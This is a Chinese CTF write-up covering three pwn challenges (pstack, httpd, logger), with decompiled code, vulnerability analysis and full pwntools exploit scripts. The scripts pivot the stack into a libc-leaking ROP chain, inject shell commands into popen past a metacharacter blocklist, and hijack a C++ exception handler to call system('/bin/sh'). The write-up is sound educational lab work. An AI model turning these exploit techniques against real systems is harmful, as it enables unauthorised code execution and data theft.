先挑几个简单的复现一下,因为堆都没怎么学过,就先不复现了,等以后学明白了再去研究
。
# pstack
## Information
- Category: Pwn
- Points: Unknown
## Description
Unknown
## Write-up
看上去就是签到题,0x10 字节栈溢出,而且给了 rdi gadget,那还不简单?
~回想起我最近打的比赛,签到也基本都是栈迁移,可是没一个是有 rdi gadget 的……~
## Exploit
```python
#!/usr/bin/env python3
from pwn import (
ELF,
ROP,
args,
context,
flat,
process,
raw_input,
remote,
u64,
)
FILE = "./pwn_patched"
HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
libc = ELF("./libc.so.6")
rop = ROP(elf)
def launch():
global target
if args.L:
target = process(FILE)
else:
target = remote(HOST, PORT)
def main():
launch()
read = 0x4006C4
payload = flat(
b"A" * 0x30,
elf.bss() + 0x500,
read,
rop.rdi.address,
elf.got["puts"],
elf.plt["puts"],
elf.sym["vuln"],
b"B" * 0x10,
0x6014D8,
rop.leave.address,
)
# raw_input("DEBUG")
target.send(payload)
target.recvuntil(b"overflow?x0a")
puts = u64(target.recvline().strip().ljust(0x8, b"x00"))
libc.address = puts - libc.sym["puts"]
target.success(hex(libc.address))
payload = flat(
b"C" * 0x30,
elf.bss() + 0xF00,
read,
rop.rdi.address,
next(libc.search(b"/bin/shx00")),
libc.sym["system"],
b"D" * 0x18,
0x601ED8,
rop.leave.address,
)
target.send(payload)
target.interactive()
if __name__ == "__main__":
main()
```
# httpd
## Information
- Category: Pwn
- Points: Unknown
## Description
Unknown
## Write-up
粗略逆向分析了一下,直接全贴上来好了,反正基本就一个 main 函数:
```c {187,194-200} del={111,132}
// bad sp value at call has been detected, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
int fd_1; // eax
int fd_2; // eax
int result; // eax
int fd2; // eax
int fd2_1; // eax
struct tm *tp; // eax
time_t tv_sec; // edi
__off_t st_size; // esi
const char *text_html; // eax
struct dirent **namelist; // [esp+8h] [ebp-14134h] BYREF
char s1_2[4]; // [esp+Ch] [ebp-14130h] BYREF
char p_n47_1[4]; // [esp+10h] [ebp-1412Ch] BYREF
char s1_3[4]; // [esp+14h] [ebp-14128h] BYREF
int v16; // [esp+18h] [ebp-14124h] BYREF
char v17; // [esp+1Ch] [ebp-14120h] BYREF
char *haystack; // [esp+20h] [ebp-1411Ch]
int i; // [esp+24h] [ebp-14118h]
size_t v20; // [esp+28h] [ebp-14114h]
char *v21; // [esp+2Ch] [ebp-14110h]
char *v22; // [esp+30h] [ebp-1410Ch]
int fd; // [esp+34h] [ebp-14108h]
int fd_3; // [esp+38h] [ebp-14104h]
FILE *stream; // [esp+3Ch] [ebp-14100h]
int i_1; // [esp+40h] [ebp-140FCh]
FILE *stream_1; // [esp+44h] [ebp-140F8h]
int c; // [esp+48h] [ebp-140F4h]
struct stat buf; // [esp+4Ch] [ebp-140F0h] BYREF
char modes[2]; // [esp+A6h] [ebp-14096h] BYREF
char s_3[16]; // [esp+A8h] [ebp-14094h] BYREF
char s_2[116]; // [esp+B8h] [ebp-14084h] BYREF
char v33[1908]; // [esp+12Ch] [ebp-14010h] BYREF
char request[10000]; // [esp+8A0h] [ebp-1389Ch] BYREF
char method[10000]; // [esp+2FB0h] [ebp-1118Ch] BYREF
char path[10000]; // [esp+56C0h] [ebp-EA7Ch] BYREF
char version[10000]; // [esp+7DD0h] [ebp-C36Ch] BYREF
char file[20000]; // [esp+A4E0h] [ebp-9C5Ch] BYREF
char s_1[15588]; // [esp+F300h] [ebp-4E3Ch] BYREF
__int64 v40; // [esp+12FE4h] [ebp-1158h]
char *v41; // [esp+12FECh] [ebp-1150h]
int v42; // [esp+1312Ch] [ebp-1010h] BYREF
unsigned int v43; // [esp+14120h] [ebp-1Ch]
int *p_argc; // [esp+1412Ch] [ebp-10h]
p_argc = &argc;
while ( &v42 != (int *)v33 )
;
v43 = __readgsdword(0x14u);
memset(&v33[884], 0, 1024);
v20 = 0;
strcpy(modes, "r");
if ( chdir("/home/ctf/html") < 0 )
response((status *)&elf_gnu_hash_bitmask_nwords, (int)"Internal Error", 0, "
Config error - couldn't chdir().");
if ( !fgets(request, 10000, stdin) )
response(&status_, (int)"Bad Request", 0, "No request found.");
if ( __isoc99_sscanf(request, "%[^ ] %[^ ] %[^ ]", method, path, version) != 3
)
response(&status_, (int)"Bad Request", 0, "Can't parse request.");
if ( !fgets(request, 10000, stdin) )
response(&status_, (int)"Bad Request", 0, "Missing Host.");
v21 = strstr(request, "Host: ");
if ( !v21 )
response(&status_, (int)"Bad Request", 0, "Missing Host.");
v22 = strstr(v21 + 6, "rn");
if ( v22 )
{
*v22 = 0;
}
else
{
v22 = strchr(v21 + 6, (int)"n");
if ( v22 )
*v22 = 0;
}
if ( strlen(v21 + 6) <= 7 )
response(&status_, (int)"Bad Request", 0, "Host len error.");
if ( v21 == (char *)-6 || !v21[6] )
response(&status_, (int)"Bad Request", 0, "Host fmt error.");
v41 = &v17;
HIDWORD(v40) = &v16;
__isoc99_sscanf(v21 + 6, "%d.%d.%d.%d%c", s1_2, p_n47_1, s1_3);
if ( !fgets(request, 10000, stdin) )
response(&status_, (int)"Bad Request", 0, "Missing Content-Length.");
v21 = strstr(request, "Content-Length: ");
if ( !v21 )
response(&status_, (int)"Bad Request", 0, "Missing Content-Length.");
v22 = strstr(v21 + 16, "rn");
if ( v22 )
{
*v22 = 0;
}
else
{
v22 = strchr(v21 + 16, (int)"n");
if ( v22 )
*v22 = 0;
}
if ( strlen(v21 + 16) > 5 )
response(&status_, (int)"Bad Request", 0, "Content-Length len too long.");
if ( strcasecmp(method, "get") )
response(
(status *)((char *)&elf_gnu_hash_bitmask_nwords + 1),
(int)"Not Implemented",
0,
"That method is not implemented.");
if ( strncmp(version, "HTTP/1.0", 8u) )
response(&status_, (int)"Bad Request", 0, "Bad protocol.");
if ( path[0] != '/' )
response(&status_, (int)"Bad Request", 0, "Bad filename.");
haystack = &path[1];
sub_25DE(&path[1], &path[1]);
if ( !*haystack )
haystack = "./";
v20 = strlen(haystack);
if ( *haystack == '/'
|| !strcmp(haystack, "..")
|| !strncmp(haystack, "../", 3u)
|| strstr(haystack, "/../")
|| !strcmp(&haystack[v20 - 3], "/..") )
{
response(&status_, (int)"Bad Request", 0, "Illegal filename.");
}
if ( !check(haystack) )
response((status *)&status_.state, (int)"Not Found", 0, "Invalid file name."
);
fd_1 = fileno(stdout);
fd = dup(fd_1);
fd_2 = fileno(stderr);
fd_3 = dup(fd_2);
freopen("/dev/null", "w", stdout);
freopen("/dev/null", "w", stderr);
stream = popen(haystack, modes);
if ( stream )
{
pclose(stream);
fd2 = fileno(stdout);
dup2(fd, fd2);
fd2_1 = fileno(stderr);
dup2(fd_3, fd2_1);
close(fd);
close(fd_3);
if ( stat(haystack, &buf) < 0 )
response((status *)&status_.state, (int)"Not Found", 0, "File not found.")
;
if ( (buf.st_mode & 0xF000) == 0x4000 )
{
if ( haystack[v20 - 1] != '/' )
{
snprintf(s_1, 0x4E20u, "Location: %s/", path);
response((status *)((char *)&dword_12C + 2), (int)"Found", (int)s_1, "Di
rectories must end with a slash.");
}
snprintf(file, 0x4E20u, "%sindex.html", haystack);
if ( stat(file, &buf) < 0 )
{
sub_23D9(&status__0, "Ok", 0, (int)"text/html", -1, buf.st_mtim.tv_sec);
i_1 = scandir(haystack, &namelist, 0, (int (*)(const void *, const void
*))&alphasort);
if ( i_1 >= 0 )
{
for ( i = 0; i < i_1; ++i )
{
sub_2704(s_2, 0x3E8u, (unsigned __int8 *)namelist[i]->d_name);
snprintf(file, 0x4E20u, "%s/%s", haystack, namelist[i]->d_name);
if ( lstat(file, &buf) >= 0 )
{
tp = localtime(&buf.st_mtim.tv_sec);
strftime(s_3, 0x10u, "%d%b%Y %H:%M", tp);
printf("<a href="%s">%-32.32s</a>%15s %14lldn", s_2, namelist[i]->
d_name, s_3, (__int64)buf.st_size);
sub_20C6(file);
}
else
{
printf("<a href="%s">%-32.32s</a> ???n", s_2, namelist[i]->d_na
me);
}
printf(
"</pre>n<hr>n<address><a href="%s">%s</a></address>n</body></html>
n",
"https://2024ycb.dasctf.com/",
"YCB2024");
}
}
else
{
perror("scandir");
}
goto LABEL_74;
}
haystack = file;
}
stream_1 = fopen(haystack, "r");
if ( !stream_1 )
response((status *)((char *)&status_.mon_name + 3), (int)"Forbidden", 0, "
File is protected.");
tv_sec = buf.st_mtim.tv_sec;
st_size = buf.st_size;
text_html = sub_2566(haystack);
sub_23D9(&status__0, "Ok", 0, (int)text_html, st_size, tv_sec);
while ( 1 )
{
c = getc(stream_1);
if ( c == -1 )
break;
putchar(c);
}
LABEL_74:
fflush(stdout);
exit(0);
}
result = -1;
if ( v43 != __readgsdword(0x14u) )
sub_2A70();
return result;
}
```
首先它得确保运行在 `/home/ctf/html`,所以我们先要创建这个目录,并且取保自己有访
问权限。之后程序读取请求,通过 `__isoc99_sscanf(request, "%[^ ] %[^ ] %[^ ]", me
thod, path, version) != 3` 将我们的请求以空格分成了 `<method> <path> <version>`
三部分,缺一不可。然后读取请求主机,必须是 `Host:` 开头,后面的 IP 也有指定格式
,不符合的话就会 abort 。然后读取 `Content-Length`,也是类似的逻辑,没啥好说的。
~吐槽一下这个实现真的是非常地 tiny 啊,Content-Length 居然是通过字符串长度来判断
的,而非大小。~
之后会判断请求类型,我们发现它只实现了 `GET` 类型,协议版本只有 `HTTP/1.0`,路径
必须以 `/` 开始。
然后是有几个路径检测,过滤掉了一些非法访问,并且做了一个简单的字符检测,过滤掉了
一些非法字符:
```c
_BOOL4 __cdecl check(char *haystack)
{
_BOOL4 result; // eax
char needle[3]; // [esp+15h] [ebp-13h] BYREF
char bin[4]; // [esp+18h] [ebp-10h] BYREF
unsigned int v4; // [esp+1Ch] [ebp-Ch]
v4 = __readgsdword(0x14u);
strcpy(needle, "sh");
strcpy(bin, "bin");
if ( strchr(haystack, '&') )
{
result = 0;
}
else if ( strchr(haystack, '|') )
{
result = 0;
}
else if ( strchr(haystack, ';') )
{
result = 0;
}
else if ( strchr(haystack, '$') )
{
result = 0;
}
else if ( strchr(haystack, '{') )
{
result = 0;
}
else if ( strchr(haystack, '}') )
{
result = 0;
}
else if ( strchr(haystack, '`') )
{
result = 0;
}
else if ( strstr(haystack, needle) )
{
result = 0;
}
else
{
result = strstr(haystack, bin) == 0;
}
if ( v4 != __readgsdword(0x14u) )
sub_2A70();
return result;
}
```
如果这些检测都没问题,就把 stdout 和 stderr 重定向到了 `/dev/null`,相当于关闭了
这两个输出。虽然不理解为什么要这么做,但是结合后面的代码,思考了一下感觉可能是为
了隐藏 popen 的输出?总之做完后的评价就是:迷惑行为。
然后是利用点,我们看到 `stream = popen(haystack, modes)`,简单来说就是 [popen](h
ttps://pubs.opengroup.org/onlinepubs/9699919799/functions/popen.html) 会将 `hays
tack` 作为 shell 指令,创建一个子进程去执行它。那不就是任意代码执行吗?不过 chec
k 函数已经过滤了 `/bin/sh`,我们不能直接返回 shell,只能用规则内的字符去构造指令
。
继续往下看,整个 `if ( stream )` 里面的代码除了恢复了 stdout 和 stderr 外,基本
上都没啥用。无非就是判断文件是否存在,逐一列出目录下的文件之类的……属于是一大坨障
眼法。虽然现在说的轻松,但是实际上做题的时候可没这么想,做的时候老仔细了,所以也
老容易掉到坑里哈哈哈。问题不大,如何快速定位漏洞,快速逆向分析一个程序的经验不就
是这样慢慢积累起来的吗?做完题总会有不少感触,而这些感触慢慢地就会变成你的实力。
有一个很重要的点是,在 popen 之前,`haystack = &path[1]`,跳过了第一个字符 `/`,
直接从第二个字符开始,所以我们完全不用担心指令以 `/` 开头导致什么都做不了。
没完呢,继续往下看,我们发现,如果进入了 `stat(haystack, &buf) < 0` 的话,那后面
的 `(buf.st_mode & 0xF000) == 0x4000` 肯定就进不去了,直接跳到末尾,执行 `stream
_1 = fopen(haystack, "r")`,输出打开的文件的信息,并且进入 while 循环逐字节输出
文件内容。
至此,整个程序的逻辑就已经摸的差不多了。因为我们可以直接读取文件内容,那为何不直
接将 flag 复制到当前目录下,然后再发送读取的请求,让它输出 flag 呢?
唯一值得注意的是,我们使用 `cp` 指令将 flag 复制过来,指令之中必定会包含空格。由
于这个程序是按标准的 HTTP 协议实现的 tiny server,我们直接查一下空格在 URL 中的
转义字符,知道是 `%20`,如果是实现了自定义协议,那我们就得深入逆向它的子函数了……
想想都觉得麻烦……
## Exploit
```python
#!/usr/bin/env python3
from pwn import (
args,
context,
flat,
process,
remote,
)
FILE = "./httpd"
HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def launch():
global target
if args.L:
target = process(FILE)
else:
target = remote(HOST, PORT)
def main():
launch()
payload = flat(
b"GET /cp%20/flag%20. HTTP/1.0n",
b"Host: 127.0.0.1n",
b"Content-Length: 0n",
)
target.send(payload)
target.recvall()
target.close()
launch()
payload = flat(
b"GET /flag HTTP/1.0n",
b"Host: 127.0.0.1n",
b"Content-Length: 0n",
)
target.send(payload)
target.interactive()
if __name__ == "__main__":
main()
```
# logger
## Information
- Category: Pwn
- Points: Unknown
## Description
Unknown
## Write-up
先看下面的 trace 功能:
```c del={12,16}
unsigned __int64 trace()
{
int i; // [rsp+Ch] [rbp-24h]
int j; // [rsp+Ch] [rbp-24h]
int n8; // [rsp+10h] [rbp-20h]
__int16 choice; // [rsp+26h] [rbp-Ah] BYREF
unsigned __int64 v5; // [rsp+28h] [rbp-8h]
v5 = __readfsqword(0x28u);
printf("nYou can record log details here: ");
fflush(stdout);
for ( i = 0; i <= 8 && byte_404020[16 * i]; ++i )
;
if ( i <= 8 )
{
byte_404020[16 * i + read(0, &byte_404020[16 * i], 0x10u)] = 0;
printf("Do you need to check the records? ");
fflush(stdout);
choice = 0;
__isoc99_scanf("%1s", &choice);
if ( (_BYTE)choice == 'y' || (_BYTE)choice == 'Y' )
{
n8 = 8;
for ( j = 0; j <= 8 && byte_404020[16 * j] && n8; ++j )
{
printf("x1B[31mRecord%d. %.16sx1B[0m", j + 1, &byte_404020[16 * j]);
--n8;
}
}
else if ( (_BYTE)choice != 'n' && (_BYTE)choice != 'N' )
{
puts("Invalid input. Please enter 'y' or 'n'.");
exit(0);
}
}
else
{
puts("Records have been filled :(");
}
return v5 - __readfsqword(0x28u);
}
```
12 行的 for 循环用来计算索引,按 16 字节访问 `byte_404020`,只要 `i <= 8 && byte
_404020[16 * i]` 就增加 `i` 的值。感觉 `i <= 8` 有点奇怪,不管如何,先计算一下这
个函数可以返回多大的索引呢?应该是 9。
```asm showLineNumbers=false
.data:0000000000404020 ; char byte_404020[128]
.data:0000000000404020 byte_404020 db 0, 0Ah, 7Eh dup(0) ; DATA XREF: trac
e+58↑o
.data:0000000000404020 ; trace+9F↑o ...
.data:00000000004040A0 ; char src[]
.data:00000000004040A0 src db 'Buffer Overflow',0 ; DATA XREF: warn
+F0↑o
.data:00000000004040A0 ; warn+165↑o
```
可是查看 `byte_404020` 发现,人家按 16 字节访问的话最多只能访问 8 个元素,那我们
访问第九个元素就会得到 `src` 的内容。存在一个 OOB。
如果 `i <= 8` 的话,进入 if,紧接着 `byte_404020[16 * i + read(0, &byte_404020[1
6 * i], 0x10u)] = 0` 以前面得到的索引乘以十六加上基地址,定位到下一项,加上 read
读取到的字节数,并将那个位置的值置零,相当于就是手动设置 NULL 的一体版本。与此
同时,read 写入的是下一项。
我们可以先研究研究怎么控制 src 的内容。已知前八项应该是可以合法写入的,那我们先
写 8 项,然后如何写入第九项呢?虽然我是调试出来的,但是也可以直接分析代码。由于
计算索引使用的条件是 `i <= 8 && byte_404020[16 * i]`,然后才会增加索引值。注意到
后半部分,判断 `byte_404020[16 * i]` 处的单个字节是否不为 0,如果这个字节为 0 的
话,这个判断就会失败,索引值不会被增加。
如果第八项数据我们写满 16 字节,那它就会把第九项数据处的第一个字节设置为 NULL,
那么此时我们再次使用 trace 输入第九项数据,它会先依次遍历每一个已写入的元素,得
到索引 7,然后发现 `byte_404020[16 * i]` 为 0,故将索引加一变成 8。此时我们就控
制了第九项的值。
~_天,为啥写个 OOB 分析写那么详细……好像很多佬的博客都写的很简略的……我可真是大好
人啊(bushi_~
嗯……那么第一部分分析就到此结束了。然后看 warn 功能:
```c del={27,30}
unsigned __int64 warn()
{
unsigned __int64 len; // rax
_QWORD *exception; // rax
__int64 v3; // [rsp+8h] [rbp-78h]
char buf[16]; // [rsp+10h] [rbp-70h] BYREF
char date[8]; // [rsp+20h] [rbp-60h] BYREF
__int64 v6; // [rsp+28h] [rbp-58h]
__int64 v7; // [rsp+30h] [rbp-50h]
__int64 v8; // [rsp+38h] [rbp-48h]
char date_1[8]; // [rsp+40h] [rbp-40h] BYREF
__int64 v10; // [rsp+48h] [rbp-38h]
__int64 v11; // [rsp+50h] [rbp-30h]
__int64 v12; // [rsp+58h] [rbp-28h]
unsigned __int64 v13; // [rsp+68h] [rbp-18h]
v13 = __readfsqword(0x28u);
memset_w(buf);
*(_QWORD *)date = 0;
v6 = 0;
v7 = 0;
v8 = 0;
set_time(date, 0x20u);
printf("nx1B[1;31m%sx1B[0mn", date);
printf("[!] Type your message here plz: ");
fflush(stdout);
len = read(0, buf, 256u); // buffer overflow
HIBYTE(v3) = HIBYTE(len);
buf[len - 1] = 0;
if ( len > 0x10 )
{
memcpy(dest_0, buf, sizeof(dest_0));
strcpy(dest, src); // "Buffer Overflow"
strcpy(&dest[strlen(dest)], ": ");
strncat(dest, dest_0, 0x100u);
puts(dest);
exception = __cxa_allocate_exception(8u);
*exception = src; // "Buffer Overflow"
__cxa_throw(exception, (struct type_info *)&`typeinfo for'char *, 0);
}
memcpy(dest_1, buf, sizeof(dest_1));
*(_QWORD *)date_1 = 0;
v10 = 0;
v11 = 0;
v12 = 0;
set_time(date_1, 0x20u);
printf("[User input log]nMessage: %snDone at %sn", dest_1, date_1);
sub_401CCA(buf);
return v13 - __readfsqword(0x28u);
}
```
注意到这里将读取 256 字节数据,然后根据 read 的返回值是否大于 16 判断是否发生了
溢出。忽略中间代码,直接看异常处理部分。根据前面的分析,我们知道 src 保存的就是
第九项的数据,而这一项我们已经可以控制为任意值。如果 warn 检测到 BOF,就会 `thro
w src`,类型为 `char const*`。但是我们注意到 IDA 对 `try catch` 的反编译支持好像
有些问题,我们看不到 try,可看不到 catch,只能看到它抛出异常。因此这里我们需要切
换到汇编视图去查看 catch 的逻辑。
其实发现反汇编试图是可以看见 try catch 的,由于程序有好几处 try catch 逻辑,下面
我只贴出需要重点关注的地方:
~_虽然感觉 IDA 的 graph view 很帅,但还是让我们看 text view 吧(_~
```asm {39, 53} ins={29} del={48-50} showLineNumbers=false
.text:0000000000401B8F ; =============== S U B R O U T I N E ===============
========================
.text:0000000000401B8F
.text:0000000000401B8F ; Attributes: bp-based frame
.text:0000000000401B8F
.text:0000000000401B8F ; void __noreturn sub_401B8F()
.text:0000000000401B8F sub_401B8F proc near
.text:0000000000401B8F
.text:0000000000401B8F command = qword ptr -18h
.text:0000000000401B8F var_8 = qword ptr -8
.text:0000000000401B8F
.text:0000000000401B8F ; __unwind { // __gxx_personality_v0
.text:0000000000401B8F 000 endbr64
.text:0000000000401B93 000 push rbp
.text:0000000000401B94 008 mov rbp, rsp
.text:0000000000401B97 008 push rbx
.text:0000000000401B98 010 sub rsp, 18h
.text:0000000000401B9C 028 mov edi, 8 ; thrown_size
.text:0000000000401BA1 028 call ___cxa_allocate_exception
.text:0000000000401BA6 028 lea rdx, aEchoHelloYcbCt ; "echo
Hello, YCB ctfer!"
.text:0000000000401BAD 028 mov [rax], rdx
.text:0000000000401BB0 028 mov edx, 0 ; void (*)(vo
id *)
.text:0000000000401BB5 028 mov rcx, cs:_ZTIPKc_ptr
.text:0000000000401BBC 028 mov rsi, rcx ; lptinfo
.text:0000000000401BBF 028 mov rdi, rax ; exception
.text:0000000000401BC2 ; try {
.text:0000000000401BC2 028 call ___cxa_throw
.text:0000000000401BC2 ; } // starts at 401BC2
.text:0000000000401BC7 ; ---------------------------------------------------
------------------------
.text:0000000000401BC7 ; catch(char const*) // owned by 401BC2
.text:0000000000401BC7 028 endbr64
.text:0000000000401BCB 028 cmp rdx, 1
.text:0000000000401BCF 028 jz short loc_401BD9
.text:0000000000401BD1 028 mov rdi, rax ; struct _Unw
ind_Exception *
.text:0000000000401BD4 028 call __Unwind_Resume
.text:0000000000401BD9 ; ---------------------------------------------------
------------------------
.text:0000000000401BD9
.text:0000000000401BD9 loc_401BD9: ; CODE XREF:
sub_401B8F+40↑j
.text:0000000000401BD9 028 mov rdi, rax ; void *
.text:0000000000401BDC 028 call ___cxa_begin_catch
.text:0000000000401BE1 028 mov [rbp+command], rax
.text:0000000000401BE5 028 mov rax, [rbp+command]
.text:0000000000401BE9 028 mov rsi, rax
.text:0000000000401BEC 028 lea rax, aAnExceptionOfT_1 ; "[-]
An exception of type String was cau"...
.text:0000000000401BF3 028 mov rdi, rax ; format
.text:0000000000401BF6 028 mov eax, 0
.text:0000000000401BFB ; try {
.text:0000000000401BFB 028 call _printf
.text:0000000000401C00 028 mov rax, [rbp+command]
.text:0000000000401C04 028 mov rdi, rax ; command
.text:0000000000401C07 028 call _system
.text:0000000000401C07 ; } // starts at 401BFB
.text:0000000000401C0C 028 nop
.text:0000000000401C0D 028 call ___cxa_end_catch
.text:0000000000401C12 028 jmp short loc_401C2B
.text:0000000000401C14 ; ---------------------------------------------------
------------------------
.text:0000000000401C14 ; cleanup() // owned by 401BFB
.text:0000000000401C14 000 endbr64
.text:0000000000401C18 000 mov rbx, rax
.text:0000000000401C1B 000 call ___cxa_end_catch
.text:0000000000401C20 000 mov rax, rbx
.text:0000000000401C23 000 mov rdi, rax ; struct _Unw
ind_Exception *
.text:0000000000401C26 000 call __Unwind_Resume
.text:0000000000401C2B ; ---------------------------------------------------
------------------------
.text:0000000000401C2B
.text:0000000000401C2B loc_401C2B: ; CODE XREF:
sub_401B8F+83↑j
.text:0000000000401C2B 028 mov rbx, [rbp+var_8]
.text:0000000000401C2F 028 leave
.text:0000000000401C30 000 retn
.text:0000000000401C30 ; } // starts at 401B8F
.text:0000000000401C30 sub_401B8F endp
```
我们注意到上面这个 `sub_401B8F` 函数的 catch 逻辑中有隐藏后门,它将 `rbp+command
` 处的值作为 rdi,调用 system。如果我们控制这个值为 `/bin/sh` 的话,我们就可以 g
et shell。于此同时,最重要的是,这个后门 catch handler 是属于 `catch(char const*
)` 的,和我们抛出的 src 类型一样,所以如果我们返回到这个 handler,是可以执行的。
经过调试发现,这个 `rbp+command` 其实就是第九项的内容,那么我们只要将第九项修改
为 `/bin/sh`,然后返回到含有后门的 catch handler 起始地址即可。由于没开 PIE,所
以可以直接通过 IDA 确定地址。为了方便查看,catch handler 的地址我在上面用绿色标
记了,免得大家不知道 exp 中的魔数是哪里来的。
最后,这是我第一次学习 C 艹 异常处理 pwn,写的也不是很详细。后续我会单独写一篇,
也可能是几篇博客从头再梳理一下这方面的利用思路。这几天就会开工,到时候加入到 [Be
yond Basics: The Dark Arts of Binary Exploitation](/posts/pwn-notes/pwn-trick-no
tes/) 里,从此我收录的技巧也开始变得高级起来~
## Exploit
```python
#!/usr/bin/env python3
from pwn import (
args,
context,
flat,
process,
raw_input,
remote,
)
FILE = "./patched"
HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def trace(log_details, check):
target.sendlineafter(b"Your chocie:", b"1")
target.sendlineafter(b"You can record log details here: ", log_details)
target.sendlineafter(b"Do you need to check the records? ", check)
def warn(msg):
target.sendlineafter(b"Your chocie:", b"2")
target.sendlineafter(b"[!] Type your message here plz: ", msg)
def exit():
target.sendlineafter(b"Your chocie:", b"3")
def launch():
global target
if args.L:
target = process(FILE)
else:
target = remote(HOST, PORT)
def main():
launch()
trace(b"A" * 0x8, b"y")
trace(b"A" * 0x8, b"y")
trace(b"A" * 0x8, b"y")
trace(b"A" * 0x8, b"y")
trace(b"A" * 0x8, b"y")
trace(b"A" * 0x8, b"y")
trace(b"A" * 0x8, b"y")
raw_input("DEBUG")
trace(b"A" * 0x10, b"y")
trace(b"/bin/shx00", b"y")
payload = flat(
b"A" * 0x70,
elf.bss(),
0x401BC7,
)
warn(payload)
target.interactive()
if __name__ == "__main__":
main()
```